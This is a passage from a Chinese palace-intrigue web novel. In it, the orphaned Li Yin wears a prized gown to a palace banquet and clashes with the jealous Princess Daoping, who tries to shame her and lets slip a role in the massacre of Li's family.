昏黄的烛火,映照在少年俊美的脸上,他勾唇轻轻一笑,走近了些,手上的匕首也落在了少年的手上。
雨书吓得一下子跪了下去,将烛火一下子丢在了淅淅沥沥的雨中。
天地间先是一白,紧接着,空中闪过一道紫色的惊雷,雨书浑身发着抖,低着头看着地上和着雨水而层层浸出的血水,鼻尖萦绕着浓厚的血腥味。
温幽情见她这样,没有恼怒而是淡淡道:“抬起头来,看着我。”
雨书颤颤巍巍的抬头,对上的是温幽情带有探究意味的眼睛,她心神都不禁一颤。
温幽情盯着她的眉眼看了许久,才问道:“你,叫什么名字?”
雨书低下了头,声音哆哆嗦嗦的答道:“奴婢,名为欢淑。”
“欢淑。”温幽情喃喃道,随后他勾唇一笑道:“从今日起,你便叫做雨书,替我守着知竹轩,如何?”
雨书闻言,心下松了口气,少爷不知道出于什么原因,最终留了她一命,她如获大赦,磕了一头,额头碰到血水,铜臭味绕在鼻尖,空气潮湿,闷热,打湿的衣服贴在身上,她强忍不适,对着温幽情道:“奴婢,愿誓死追随主子。”
一样的雨,不一样的夜,空中不觉闷热,不让人烦,她方才一直都不敢看温幽情,都是出于温幽情给她留下了太大的阴霾,一见到他的脸,就易想起那些过往,雨书就怕。
她现在倒是对自己觉得李小姐和自家公子相配的想法产生了怀疑,公子真的和李姑娘是良缘吗,可她虽这样想着,却总觉得李姑娘和主子本质是一样的,他们才是一类人。
主子阴晴不定,李姑娘到是有事过于平静……越想越乱,她快步走着,索性不想了。
月不朦胧但孤寂,孤自高悬,如盘似月。
一夜悄然,银辉灭,太阳升,雾霾散。雨霁后,枝叶扶疏,染着新露,不禁摇曳,只一下便滚了下来,落在地上,润湿泥土。
雨书一大清早就轻手轻脚的推开了知竹轩的门,悄悄的关上,不让门发出扰人清梦的声响。
刚一转身,就对上了李隐的眼,她心下先是一惊,但面上不显,就是这意料之外的事与主子给她带来的感觉一样。
“姑娘这么早就醒了。”雨书说道,李隐道:“习惯早起了。”
雨书将手上端着的衣物放置于桌上,随后拿下衣物上压着的首饰盒子,轻轻打开展给李隐看,她的眼睛亮晶晶的,眼中全是笑意,她道:“姑娘,可还喜欢,这可是宫中贵人赐下来的物件,价值千金,可遇而不可求。”
李隐看了过去,是一套款式新颖,有几分像胡人的样式,四条可编在头发中发饰,吊坠头面,多以水晶,玉石为材。
玉石
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,水晶,被打磨成规则的形状,相连的地方用着黄金链子,金镶玉,宝石包金,在阳光的照耀下,一闪一闪的,分外的亮眼,光是这火彩就让人移不开眼。
李隐问道:“今日是有事?”
雨书点了点头道:“嗯,宫角围宴,主子觉得您应该交交好友,疏疏心中的抑郁,好好融融这京中姑娘的圈子。”
李隐闻言,伸手摸上了那件衣物,衣裳通体紫色,点缀着些许宝石,压在裙角,衣裳上金线勾勒,绣着竹子,飞鸟。
针线不见针角,做工精细,对仗工整,雨书见状一喜,李姑娘果然喜欢这件。
于是她便将衣服拿了起来,推到了李隐的怀里,故作催促道:“姑娘,换上给婢子看看吧。”她一边说着还一边眨了眨眼睛,很是俏皮。
李隐接了过去,见着雨书俏皮的眨眼突然一笑道:“好。”
话落她便拿着衣裳,绕到了屏风后,将身上的那件换下后,又迅速的穿上那件紫色的衣裳。身姿娉婷,美人窈窕,她绕过屏风走出。
阳光透过窗子落到李隐的身上,裙摆上亮亮闪闪,衣裳合身,修饰完美,和着李隐那张出尘的面容,实在是如画中仙,天上神。
雨书见着便又是一愣,这也太好看了,随后她喃喃道:“公子,一定会喜欢的。”
李隐将手伸到了她的面前轻轻挥了挥,道:“雨书?”
雨书云游的神魂一下回来了,她尴尬一笑道:“姑娘太过于好看了,我一下子给看呆了。”
李隐闻言淡淡一笑,道:“你过于夸张了些了。”
雨书难掩激动对着李隐夸道:“姑娘天生丽质,不施粉黛都貌若洛神,主子一定会非常喜欢您的。”
李隐听着突然问道:“洛神是谁?”
雨书闻言一惊,面上微露惊慌,她道:“洛神啊,就是洛阳城中牡丹花的花神,传闻中貌美如仙,男子为之痴狂,女子为之嫉妒。”
李隐笑道:“是这样么?”
雨书笑着,牵起了李隐的手她道:“姑娘,快来试试这些首饰吧。”
李隐由她牵着到了梳妆台前,跟着雨书的安排她坐了下去。雨书拿出了几个小巧的刷子,在李隐的脸上开始涂上一些粉黛,不多不少,只点必要的地方。
李隐貌若丹青神,婉约中带着疏离,自成一派的清冷却又在笑时多了一丝人间意,而在雨书微点妆粉后,疏离少了,却不减冷艳,依旧是美的,美得让人惊心动魄。
雨书颇为满意自己的杰作,妆面完成后,她就在李隐的眉心点了一颗朱砂痣,并由衷的喟叹道:“美,胜西子七分,胜洛神三分。”
听到陌生的词,李隐微微挑眉,问道:“雨书,西子又是谁,你是从哪里听到的这些?”
雨书闻言,拿首饰的动作微微一顿,她尴尬笑道:“西子是湖,但我觉得它像个人,玉鉴琼田,肤若凝玉。”
李隐听着,看向镜中的雨书一笑道:“可,这也太巧了。”
13. 道平公主
雨书笑容一僵,额头微露冷汗,她道:“姑娘这话说的,世间的事不一直都很巧吗?”
李隐伸手轻轻握住了雨书的手,又轻轻的拍了拍道:“话要慎言,勿落把柄。”
雨书的心先是一紧,在李隐碰触她手时,没有出息的微微发抖,心道是完了,若真要问个什么究竟出来,她最后的结局多半会被烧死。
可李隐察觉到了却没有揭露,而是让她谨言,微做提点,她便心下一软,心中一暖,如夏日冰,冬日薪火。
心中埋藏的话,第一次有了说出去的念头,话将脱口,却最终还是咽了下去,她低着头看着李隐握住她的那只手。
李隐见状,又拍了拍雨书的那只手,轻笑一声,柔声道:“方才只是吓你的,日后多些心眼吧。”
雨书闻言抬头看向镜子,对上李隐那双含笑的眼眸,她诚心道:“多谢姑娘。”
李隐收回了手,雨书拿起了发饰,为李隐戴上,随后仔细的编发,每梳两下就将桃木梳子轻轻沾一些桂花油,盈香绕鼻,不失清雅。
梳好了头,盘好了发,李隐就随着雨书的步子,七拐八绕的到了温府的大门。
门口停有一马车,马车楠木金丝,边角挂玉器,玉下坠流苏,绿锦布,绣竹云。
小厮见着李隐后,一笑道:“李姑娘,这边请。”说着他微弯腰,还做出了一个请的手势,态度恭敬让人挑不出错处。
雨书没看那人一眼,而是扶着李隐向着马车走去,到了小梯处便道:“姑娘,看着脚下小心些。”她话说的很快,说完了李隐将抬脚踩上时,雨书连忙凑近了些,用两人才可听到声音说道:“姑娘,先踩踩是不是实心的,京城不比锦城,人多心杂。”
李隐轻轻的踩在楼梯一阶上,随后用力踩了两下,这才抬起另一只脚,缓步而上。
流苏拂风,迎风而转,腰间环佩,清脆作响,李隐三步而上,立在马车上,随后向雨书伸出了手。
雨书看着伸向自己的手时,先是一愣,随后心下一暖,如,雪山遇阳初融,潺潺流过。
她缓缓伸出了手,李隐拉着她一下子就上了去,二人步入马车后,雨书这才道:“姑娘,下次不许了,太不合规矩了。”
李隐闻言轻轻一笑道:“方才,没有其他人。”
雨书嘟着嘴道:“这也不可,这里居住的多是高门大户,名门世家,礼数不可轻。”
李隐点了点头道:“有理,但我现在是李姑娘还不是温夫人,不算半个温家人,况且我觉礼数这东西只是束缚言听计从者的,而我不是。”
马车前行着,风过流苏,流苏相缠,玉石相碰,撩掀窗帘,露显街角,阳光借地,窜过窗角,撒在了李隐的身上,金线生辉,发间饰品,花彩熠熠。
李隐不言一语,不展一笑,静静坐着,身姿端正,光落发丝,莹莹透亮宛,不染一尘,如天上仙,雨书呆呆的看着,这样的人似乎也只有主子那样容颜的人可以配得上了。
李隐见此,轻勾嘴角,雨书心思单纯,藏不住事,简单一个却又有引力,在这人身边总会觉得轻松,惬意。
马车摇曳,阳光一束,落在李隐,时不时轻轻浅蹭嘴角,又一会照到裙摆。
不知行路多久,街道热闹处,马车停下,小厮轻敲三下,规律整齐是做提醒,他道:“姑娘,到了。”
雨书连忙起身,为李隐撩开布帘,又伸手向李隐道:“姑娘,请吧。”
李隐伸手覆上,轻轻一握,跟着雨书规规矩矩的下了马车,全程都动作端庄,不失大气。
她一下车就引人侧目,实在是她这身衣服过于好看,人也过于漂亮了,但最重要的还是这人身后的马车檐角挂着一只刻着“温”的玉牌。
众人便悄悄议论,三五成群,边看李隐,边转头说。
“这人和温公子是何等关系?所乘的马车居然是温公子的,温公子不是最厌别人碰他的东西了吗?”那人同着身边的伙伴说道。
戚雪轻轻推了推顾思,道:“你也喜欢温公子了?对他这么了解。”
顾思脸色一红,道:“姐姐,说什么,我不懂。”
戚雪见状轻轻抬手敲了敲顾思的脑袋道:“温家和我等有着天差,你我父亲都才官拜几品,再者温家高门世家,祖训诸多,就算是是真有福气受下这婚,怕是也无福消受这归训,又且这温公子已有婚约在身。”
说到此处,她突然停了下来,看向了李隐,这人,不是京城的,如此姿色若在京城,家中门槛多半会被适龄者踏破,也定会在此掀起一番风云,心下有了答案。
锦城的事,她略有耳闻,事出蹊跷,行刑之快,出动之迅,当真是让人惊叹,上一次这般听说还是十八年前。
锦城李家突灭,留下一孤女,寄居温家,这人多半就是了,这身行头,明着的意思是表明温府对这都重视,暗着的意思是通过此人看看其他氏族小姐的反应,以此点代面,试探朝堂之上诸家对温家的态度。
顾思还想辩解,就听戚雪认真的说道:“她,是温家的贵客,你我最好离远点。”
顾思不明所以,但依旧配合的点了点头,道:“好。”
李隐下了马车,就一直被人注视着,她有点不习惯成为众目之下的人,这种感觉一直持续到一人的到场。
宫人一声叫道:“道平公主驾到。”
众人闻言,微提裙摆,轻轻行礼,李隐也跟着行了一礼,她动作略显生疏,但倒也规范,只是节拍上慢了些罢了。
李隐今日穿的出众,而她身段姣好,就算是低着头,光看背影身段也觉是个美人。
赵怜映轻轻抬手,示意轿辇停下,宫人见此,手握木棍,抬起力道,将此从肩上,稳当的放到地上。
赵怜映抬脚跨了一步,走到了李隐的面前,她语气慵懒,悠悠地道:“平身吧。”
众人闻此,这才抬头,可一见此景不由的又低下了头。
这人居然与道平公主穿的是一样的衣裳,简直……简直太找死了,公主发怒,众人唯恐涉及,便尽量降低存在感。
赵怜映见着是李隐,她看了好一会,总觉得有些熟悉,这人自己是不是在哪里见过。
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她刚想问问身边一直跟着的人,转头一看无人,这才记起婢子已被祖母叫了过去,至今未回。
赵怜映抬手,指尖碰到了李隐的下巴,她一把抬起了李隐的下巴她道:“这是哪里的好姐姐,怎么眼光和本宫一样呢。”
她说着带着几分笑意,让人光听,听不出悲欢喜乐。
李隐道:“公主凤仪万千,小女怎及公主衣裙一角,公主是皓月星辰,而小女只是地上尘埃罢了。”
雨书手紧紧地握着,她从见到赵怜映的时候就很紧张,赵怜映,皇后所出的女儿,也是皇帝唯一的女儿,在宫中是属于众星捧月的存在,事事皇帝都顺她的意唯独婚事。
道平在京城是出了名的喜欢温公子,各种手段都还试过,却没一次成功的,但她反而还来了劲,愈来愈勇。
赵怜映闻言,勾起嘴角,松了手道:“你倒是个有眼光的。”
话落她轻拍了拍手,道:“该走了诸位,宫宴还要先赏花呢,莫让花谢了。”
众人闻此,便抬起了头,顾思和一些便围到了赵怜映身边,夸个不停“殿下,还是您穿着好看一些,那件衣服就是做工非凡才让她看起来略有几分姿色,但和殿下依旧是云泥之别,天地之差。”
“是啊,殿下她只是衣服好看,您是哪哪都美,依旧如同画中仙,能配的上您的必须是属一的人物。”
姐妹群中不知是谁提了一句“温公子美人榜第一。”
赵怜映闻言轻轻一笑道:“温公子,他对我也是不同的。”
顾思突然喃喃道:“方才那姑娘还是从温公子的马车上下来的。”
可这小声的一句却不知怎的让赵怜映听了去,赵怜映看着顾思,打量了一下,随后没有说什么,而是到了花圃,待着众人入座后。
她一把抓住了顾思,小声急切的问道:“你说谁是从温公子的马车上下来的?”
顾思面露惊慌,如实道:“是,是方才的那位和您穿着一样的姑娘。”
赵怜映察觉到自己失态,故而迅速的松开了拉着顾思的手,故作温柔的一笑道:“你且可放心,本宫也只是问问罢了。”
她面上虽是这般说着,可,袖口中的手却蜷缩在了一起,修长染了蔻丹的指甲几乎嵌在肉里了。
赵怜映却宛若未闻一般,面上依旧笑着,看着李隐的眼神中却多了一丝,不屑的意味。
这件衣裳是父皇赐的,有件仿织的,可仿品就是仿品,在阳光暴晒之下,过了一个时辰,便容易染色。
仿品赐给了温贵妃,自然就到了温家,这人是用了什么腌臜手段才得到的,真是令人不耻。
赵怜映忽然一笑道:“诸位,今日来了位新人,不如让她跳支舞,让众人开开眼可好?”
这新人指的是谁,大家心知肚明,众人应和“好啊。”
眼下,太阳空悬,正是热时,跳支舞会出汗就算是不在太阳底下晒上一个时辰,也可使衣裳掉色,她现在已经迫不及待的想看看这人当众出丑的困窘模样了。
想到这里,赵怜映嘴角的笑意更深了几分。
14. 折枝为剑
李隐面上平淡,缓缓起了身,可跳舞,她确实也不会,让她现场编出一只来,也是真的有点难为她了,但若是……
一枝花扫过李隐的肩膀,她看了过去,随后轻轻一笑,抬手将那支花所在的枝头一并折了下去。
众人眼中闪过一丝惊讶,好奇,李隐将树枝拿在手中,动作行云流水的挽出了一个剑花,动作很快,红色的花朵,在那几招动作之下,就在将要停下时,花瓣全然脱落,宛如烟火,四散而开。
就在众人欣赏这如雨一般而下的花时,一树枝穿过花瓣而出,尖头点花,将这一片留下,其余悄然落地。
李隐,反手剑花,收回了残枝,花香萦鼻,刚刚一切虽短,却韵味极长,如这连绵不消的淡香一般。
赵怜映见状也同众人一样,先是一惊,眼中闪过惊叹,可不甘的苦水在心中翻涌,掀起巨浪,手指紧紧的握在一起陷入肉里。
这人再怎么厉害也不过是一个没有背景的卑贱之人罢了,在这京城,吃的便是家世,官威。
想到此,她忽而展颜,紧握住的手也松了开,滑嫩的手心,留下了道道月牙般的红痕。
李隐正站在烈日之下,阳光落地,隙光碎影,映照生辉。裙摆熠熠,宛如夜间星辰,发饰上闪着彩色光圈,如幻如虹,合着她那张如仙般的容颜,众人心下都在不禁感叹此人的绝色。
赵怜映见着李隐身上的衣服不见丝毫褪色的痕迹,她心中莫名多了些怒气,李隐做完方才那些,完全未有展现丝毫累的痕迹。
故而汗水也是未有的,怎么连天都助你,她不甘……温哥哥,上天,为什么都要围绕在这人的身边。
众人雀然,尽管李隐方才以残枝代剑确实好看,可,道平公主未曾发话,她们也不好表态。
顾思见着此种局面,心中打鼓,她看方才公主的意思是不喜这人,那……
她也想和殿下做朋友,便咬了咬牙,干出了她最勇敢的事,她大声道:“方才殿下可是说了,要的是一支舞,可姐姐的这是?”
李隐答道:“舞剑。”她答的干脆,倒是让顾思有点措手不及,一时间又变回原样,不过说话了,轻咬唇瓣,面露急色。
戚雪轻轻拍了拍顾思的背,解围道:“舞剑也有一个舞字,姑且也算,殿下您看如何?”花落她看向了赵怜映,赵怜映不失优雅的笑道:“自然是可的。”
“但是。”她话锋一转继续道:“舞剑也只能算是半个,既然姐姐不会就只能算是姐姐不愿给本宫面子,那就一会儿要麻烦姐姐替本宫倒杯茶水了,陪陪不是了。”
雨书在花圃外听着这些,面露紧张,起了想冲进去的想法,只是微微走上一步,就有人抬手拦住,她只好祈求道平公主针对的人不是李姑娘,不然……后面的事她想都不敢想了。
道平娇纵,三岁指星辰,陛下便为她,摘了一颗心,一颗属于忠臣的心,刻七窍玲珑塔,五岁观朝理,在陛下膝下而长,胡闹朝纲,七岁弃理文,往后就安分的多了,可百姓对她的好感却依旧不高。
道平,这二字原是期望,日生道平,天下为乐,可最终却是,盼天,何日生道平,盼君,开颜睹天光,实属讽刺,百姓不议,心似明镜。
雨书心中祈祷着李姑娘一定可事事安,事事顺。
花圃内,众人都落座在自己原先的位置,李隐看着众人落座,只余下了最末尾的一隅,绿枝缠绕,枝枝漫漫,绿意盎然,她毫不犹豫的向着偏僻的地方走去。
途经几人时,那几人不约而同的伸出了脚,想要绊倒李隐,可这几人动作过于明显,李隐想配合,但她不瞎,对自己的演技也还未曾自信到这种可以视而不见,对着一群用小伎俩的傻子,进行强夸。
她果断的跨了过去,那人明显不悦,前面的这人便将脚往前伸出了伸,李隐见状勾唇一笑,踩了上去,那人尖叫出声:“你有病?”
李隐一脸无辜她如实道:“方才你将脚往前伸,难道不是想让我踩上去,难不成是你想让我好好看看这玉足?”
那人面色一红道了句“巧言令色,你真是无礼。”
李隐收回了脚,方才踩着时并没有用上力道,只做个警示罢了,听着这人的言辞,李隐点了点头,颇为赞同的说道:“嗯,你说的有道理呢,点评很到位。”
那人一下被话噎着了,支支吾吾的“你……”然后“你”了半天,最后灰溜溜的红着脸收回了脚。
前面的人见此也一下收回了脚,公主对这人不喜,于她们而言是个与公主拉近距离的好法子。
公主一言宛若千金,不论是为了家族,还是为了自己,总有人愿做刀刃。
一只脚对着李隐的膝盖踹去,李隐侧身迅速躲过,她这躲的位置也是故意挑的,一脚踩到了这人的桌子上,还故装脚滑没站稳,倒了下去,压在了那人身上,膝盖对膝盖,李隐毫不犹豫的微曲膝盖对着这人的膝盖,用力而击,那人惨叫一声。
“你,你怎么站不稳啊。”那人怒色冲面叫道。
李隐微撑手臂刚要起身,却又假装手滑没有撑住,一下子又给压了上去,那人膝盖再次遭受重创。
一下子那人就红了眼眶,她道“你你你赶快起来。”
李隐起了身,但腿上依旧压着,她将全身的重力压向那人的膝盖,只听到一声清脆的“咔哒”声,那人一下子哭了出来。
李隐这才完全起身,拍了拍自己身上的尘土,伸手拉起了那人,在这儿耳边低语道:“小把戏,吃苦头,多动脑子,少行动。”
那人顾不得这么多,哭红了眼角,抬手要一巴掌甩在李隐脸上时,指尖将擦,李隐一把将人抓住,轻声道:“怎么这么蠢,还不爱听话呢。”
这话声音不大只够她们二人间听,赵怜映眼见自己旧时姐妹处于下风,她便笑着打圆场道:“姐姐们莫要打闹了,快快回位吧。”
那人闻言恶狠狠的瞪着李隐,好一会才不情不愿的忍着眼泪蹲了下去,趴在桌上抽泣。
李隐轻轻道了句“方才说错了,你是条听话的好狗。”
那人听着将要起身却又被腿上膝盖的伤痛拉了回去,只好坐着恶狠狠的瞪着李隐。
李隐不急不缓的走到自己的位置面前,折掉一只略带荆棘的枝条,她这才坐下。
这里的跪着是家世至上,但若处于弱势,一味地低声下气,忍气吞声,换来的却是,蹬鼻子上脸,赶尽杀绝。
人的本性就是贪得无厌的,有了始便想有终,有了一便会想要有二。
她才坐了下去,赵怜映就道:“姐姐,是不是该倒盏茶了?”她说时带着笑意,语气欢快,倒像一个无邪的孩子。
李隐这才刚刚坐下,这若是说是无意的,估计无人会信,毕竟方才在李隐没有走到位置之前她也可以说的,如此一来,还可免得李隐多走。
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>闻言李隐缓缓起身,动作端庄,不疾不徐,这回路上通畅,无人使绊子了,她很快到了赵怜映的身边。
赵怜映的身边正摆着各种各样的小壶,茶几上刻着一条小小的高山流水,远远看去,倒是不易被发现,细细看来,这才可窥见其巧思。
赵怜映将手中晃荡的玉盏轻轻的摔在了地上,玉盏落地发出一声“咔哒”的脆响,茶水溅到了李隐的裙摆上,顿时,染深了色。
赵怜映眼中笑意更甚,她道:“本宫,欲要品春茶。”话落就没了下文。
这意思是让李隐将春茶从众多之中选出,并为她倒上一杯。闺秀生于高门,虽品茶却只品口感,而非品气味。
李隐不恼,面上依旧淡然,她道:“殿下会品,这春茶眼下刚刚上贡,口味确实是极佳。”
话落她就从各式各样的茶壶中挑了一只略带有些残角的。她伸手轻轻握住了壶的手柄,随后一手撩起袖子,对着赵怜映面前的这只玉盏倒了下去。
茶水偏黄,带着几片浮叶,盏底中也沉着几片茶叶,水汽氤氲盏口四周,茶香四溢,飘飘香遥。
赵怜映见着李隐选的毫不拖泥带水心中多了一丝慌张,这人居然会识茶,真是运气好,又让这人在众人面前展示了一回,等会就没这么好的运气了。
赵怜映一手轻轻压住袖子,拿住了玉盏后,她才松开了压着的那只手,随后,她将未曾拿着玉盏的手抬袖挡在身前,轻轻的抿了一口。
茶香幽淡,唇齿留香,清雅绵远,温度适中。赵怜映喝了一口,含在嘴里,眉头一皱,收了手,立即咳了出去,一下子全落到了李隐的衣摆上,顿时深一块浅一块的,她故作不好意思道:“诶呀,姐姐,方才本宫没有控制好,一时给呛住,这才弄湿了姐姐的裙摆。”
李隐看到赵怜映眼底的难掩饰的一丝兴奋,她心下又有了答案。这人对她的衣服倒是很上心啊。
她轻轻勾唇一笑,众人却鸦雀无声,赵怜映此时盯着李隐身上的那件衣裳只是颜色加深了些,其余并未有褪色之类的。
一股不好的预感袭上心头,该不会,她穿的这件是仿,是赝品。她看向了四周的人,人人都面露难色,还有的就直接低着头不言一语。
赵怜映缓缓低头看向了自己身上的这件衣裳,白皙的手臂上不知何时蹭上了淡紫色的染料,她瞪大双眼,面露惊慌。
伸手拼命的搓着手臂,可她越搓,这颜色就变得愈深,额角上的汗流的更多了,顺着她小巧的脸颊落了下来,倒有几分像是在哭泣。
汗水打湿衣角,颜色染在了脖子,手腕等上,处处都很显目,赵怜映手上搓着的力道变得更重了,只是刚刚一会就红了好大一片。
仿品掉色,就算是有人不知这些但可着李隐和赵怜映的这一对比就知晓其中的蹊跷。
赵怜映从小到大哪受过这种委屈,当众出丑,于她而言比杀了她还难受,红了皮肤,颜色不浅反深,她手指紧紧的握在了一起,都怪这人,如果没有这人,就不会发生这些。
这人的衣服才是她的这件,是谁将衣裳换了过去,这人到底是谁。她一咬牙,指甲再次陷入肉中,新新旧旧的月牙痕重重叠叠在一起,白皙透红的手心变得白皙,留下道道红通的月牙。
赵怜映一把掀了桌子,方才的得体全然不在,瓶瓶罐罐滚了一地,也碎了一地,她对着李隐质问道:“是谁让你偷这件衣裳的。”
15. 一言抄家
李隐闻言只是淡淡的看着赵怜映,解释道:“殿下,这件衣裳本就是我的,并非是偷来的。”
赵怜映气呼呼的瞪着李隐,她伸出染着蔻丹的纤纤玉手,气得颤颤巍巍的指着李隐道:“来人,把她给本宫拿下,其余人等好好在此处等着。”
赵怜映说时咬牙切齿,一字一顿,语气带着气愤。说完她轻轻拍了拍自己的胸前,为自己顺了顺气。
李隐就站在原地,看着赵怜映,如同看着一个跳梁小丑一般,她的眼神带着轻蔑,这一下子就激怒了赵怜映,从小到大就没人以这种眼神看她,于她而言,这眼神就如同一记刀子般,扎到了她的心尖上,这人真是太该死了。
赵怜映这般想着,也抬起了手,一巴掌朝着李隐扇过去,可就在将要碰到李隐一只手抓住了她的手,李隐道:“殿下,当众打人,属乱动私刑,于理应是不合吧。”
赵怜映闻言一笑,她抬起了另一只手对着李隐的脸扇去,李隐见状也是一笑,她没有躲,也没有选择去抓住赵怜映的另一只手,而在心中掐着点。
一,二,三,她勾起嘴角,加深笑意,将抓住的那只手绕到自己另一脸前,“啪”赵怜映的两只手撞在了一起,白皙玉手,顿时,红了一片,落下一些手印子。
她大叫一声,“你个贱人,本宫要杀了你。”周围的人都低着头,一旁的仆从,还在不远处犹犹豫豫,赵怜映见此,喊道:“一群死奴才,还不过来将人按住,不听本宫的话,你们也活不久。”
仆从闻言,都纷纷上前,咬着牙,一把将李隐按住,李隐并没有挣扎,而是看着赵怜映,她道:“殿下,你若实在喜欢这件衣裳,大可和温家的人说上一声,也就是一句话的事情罢了。”
“闭嘴。”赵怜映道,伴随着这句话而来的还有一耳光,红红的巴掌印落到了李隐脸上,李隐笑了笑,道:“殿下,您的力气不大呢。”
赵怜映闻言也笑了,她道:“嘴硬。”说着她伸手轻轻的摸上了李隐的脸颊,她道:“这巴掌印挺称你的呢,你倒是白,红白最称了。”
她的手上用了些力道,落到李隐脸上的手划过的的地方便会落下红痕,赵怜映俯身凑近了些李隐在李隐的耳边道:“当众出丑,姐姐喜欢吗?”她轻轻一笑继续道:“被本宫拿捏的滋味如何啊,姐姐。”
李隐闻言也是一笑,她道:“殿下说的是自己吗,当场出丑。”赵怜映闻言后退了一步拉开距离,随后恶狠狠的一把掐住了李隐的脖子,她道:“你方才为何要冲撞本宫呢,本宫倒是很喜欢你呢。”
众人皆听着,不敢抬头,甚至有者闭上了眼,似乎这般就可消失,而不见证这一场事件的发生,从而担上一把悬在头上的刀,日日心惊胆战。
风兮潇潇过,树枝慢慢摇,云彩悠悠散。
赵怜映又小声的道:“温家,不是你该沾边的地儿。”她说着微微抬手,示意一人踹向李隐的膝盖,让其跪着,那人用力踹去,李隐觉膝盖一痛,但依旧站着。
赵怜映见着李隐只是眉头微皱,面上的笑容便是一僵,这人怎么这么喜欢找死呢,她手上的拳头握得更紧了些。
随后她道:“你最好给本宫安分点,不然。”她勾唇一笑继续道:“锦城李家的下场就将是你的下场,本宫一句话就可定你的生与死,以及你相关的所有人的生与死。”话落她轻轻拍了拍李隐留着红手印的脸颊。
李隐听着,听到锦城李家时,便抬头看向了赵怜映,眼中多了一丝狠戾,赵怜映被看的先是一怔,但很快反应过来,这人反应如此之大,看来是怕了啊。
她语气不急不慢多几分傲慢道:“本宫也是个宽宏大量的人,若你跪下来给本宫磕三个响头,那本宫尚且可考虑饶了你一回。”
李隐盯着赵怜映,问出了句不合此景的话,“锦城李家的事,殿下也参与了?”
赵怜映闻言轻蔑一笑,她道:“什么叫本宫也参与了,区区一个小小的商贾,本宫只是要了一人的命而已,李家除了李隐的命与本宫有关,其余人等还不配本宫出手,本宫只是顺嘴提了句罢了。”
李隐笑了,原来当初来的是两批人啊,还真是……
太可笑了,顺嘴一提,一百多条人命就没了。
不过轻轻一言,却重百人一命。
“京城拿人不论事实与否?”李隐问道,她的声音已变得有些沙哑,赵怜映伸手摸上李隐的脸颊,顺着下额到下巴,轻轻抬起了李隐的下巴道:“本宫啊,就是事实。”
话落她松了手,李隐的气势从她说出锦城李家的事后,便削弱了些,她现在很满意李隐现在的态度,气也消了些,但见着自己被紫色染着的手腕时,消了的火气顿时又窜了出来。
她一巴掌抬手将要打上时,腿上传来一阵剧痛,李隐抬脚踹上了赵怜映的膝盖,赵怜映吃痛,叫了出声,一下跪了下来,她骂道:“给脸不要脸的贱人。”
仆从一惊,手上的力道松了些,李隐借机挣脱,她走到了赵怜映的身边道:“殿下,您说我和温家无血亲关系,又从温家的马车上下来会和温公子是什么关系呢。”
赵怜映抬头看着李隐,她答的干脆语气中带着强烈的不屑:“不就是一个见不得人小妾,有什么好神气的,真是不知廉耻。”
李隐闻言笑道:“对啊,但也不完全对呢,殿下猜错了一点,我是正妻不是妾,殿下不妨猜猜我姓什么。”
赵怜映听完心下已有了答案,李隐,李家不是都死绝了吗,这又是怎么回事,她心下一惊,面上不显,她也只是传了句话,递了封信,也没做什么亏心事,她道:“你就是李隐?”
她话虽反问却没有一丝疑问的语气而是陈述,透露着肯定,这就是李隐,原来如此,她就说这人怎么如此眼熟原来是见过画像啊。
李隐不语而是俯身离赵怜映更近了些,赵怜映仰头就可看见李隐,这种来自上方的压迫感让她倍感不适,她伸手向李隐推去,手碰到了李隐的肩膀,但却没有推动,这回她第一次有了慌张。
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她瞪大瞳孔,李隐的面容离她更近了些,随后李隐对她浅浅一笑,抬手一个巴掌“啪”落在了赵怜映的脸上,一个醒目鲜红的手印立刻出现在赵怜映那精心打扮的脸上,她一下子懵了,看着李隐眼中全是不可置信,“你……你,好大的胆子,贱人,本宫要让你付出代价。”
李隐听着赵怜映的一句句,她如闻所未闻般,向下看着仰视着她的赵怜映,道:“殿下,想让我付出何等代价呢,我好期待啊,我最爱的人都死了呢,殿下,我还有什么代价可以付出,我很好奇呢。”
赵怜映见着李隐看着她这似笑非笑的表情,心中一惊,面上维持的冷静面具也脱了下来,她闭上了眼。
李隐好看不论什么表情是如墨如画般,自然流露,品觉非凡,恐怖自然是与她联系不上任何干系的,可赵怜映就是觉得恐怖,恐怖到她不敢张开眼去瞧上一眼。
罪恶感第一次满上了赵怜映的心头,她也只是传了句话,这些不怪她,是锦城李家的人命太差了,对,不关她的事,这般想着,也就好受得多了,心下对李隐也多了分理解,这人,是个疯子……
脑海中突然闪过一丝画面,混沌不清,宛如蒙着一层无形的雾,迷迷重重,记忆中人,面容模糊,轮廓大概,像是从很远看去的。
只是声音却一反常态的,比记忆中还要掷地有声。
……
“你知不知道李府怎么?你知不知道李窗明怎么样了?告诉我李府的人都怎么样了,告诉我,告诉我。”
紧接着的不是答话而是一声清脆的“啪”模糊的人一端,交融在一起,随后又分开。
“告诉我,李府怎么样了,我求求你了,告诉我好吗?”
这回有了答话,但语气却是不耐烦的“这不是写了,自然当是满门抄斩,一人不留。”
紧接着的是一句,“走吧,翠儿,温哥哥应当要回府了,他一定等我很久了,不能让他久等。”
……
原来见过啊,可怎么她不记得这人的样子了,真是奇怪了。
第二个巴掌没有下来,赵怜映微微睁开了眼,看着一旁站着仆从她道:“还不过来将人制住。”
仆从犹豫着并未有像方才那般直接咬牙上前,而是站在原地面露难色,温家他们也得罪不起,温公子以及宫里的那位娘娘知道了也会不高兴,一时陷入两难,对李隐的害怕,因不是主要原因了,故而此时也消了大半。
李隐见着各个仆从面露难色,一时不知进退,心里如同在热锅上的蚂蚁般团团转,打着没有规律的鼓点,没上没下的。
她轻挑眉头,原来这温家的头衔居然如此好用,她见着赵怜映睁了眼,浅浅一笑,俯下身来,微微抬手,对着赵怜映的脸,这些都像一个预兆,预示着李隐的下一个巴掌似乎即将落下。
赵怜映,这回却睁着眼,她见到了花圃后即将而到人,便勾唇一笑,抬手对着自己的脸,一巴掌打了下去,清脆而嘹亮,在花圃里回荡着。
16. 疗涂伤药
众人闻声都是一惊,这一声可比方才的响亮太多,心下好奇,想观之,但恐于赵怜映的淫威无人敢抬头观其一眼。
四周闻风声,远处窸窸窣窣,时不时有着打笑,赵怜映打的什么算盘李隐都猜到了,眼下敌重她寡,对她很是不利。
她“噗通”一声,跪了下来,将头磕到了地上,额头擦破皮肉,落下血迹,她柔声道:“殿下,民女不知何处惹到了殿下,让殿下不惜自残,来……泄气,是民女不对,还望殿下恕罪,民女不过区区一介草民哪里比得上金枝玉叶的殿下一毫一厘。”
裙角染上尘土,却不觉肮脏,加深了些边角,由紫色变为深色带灰,倒也是别有了番美感。
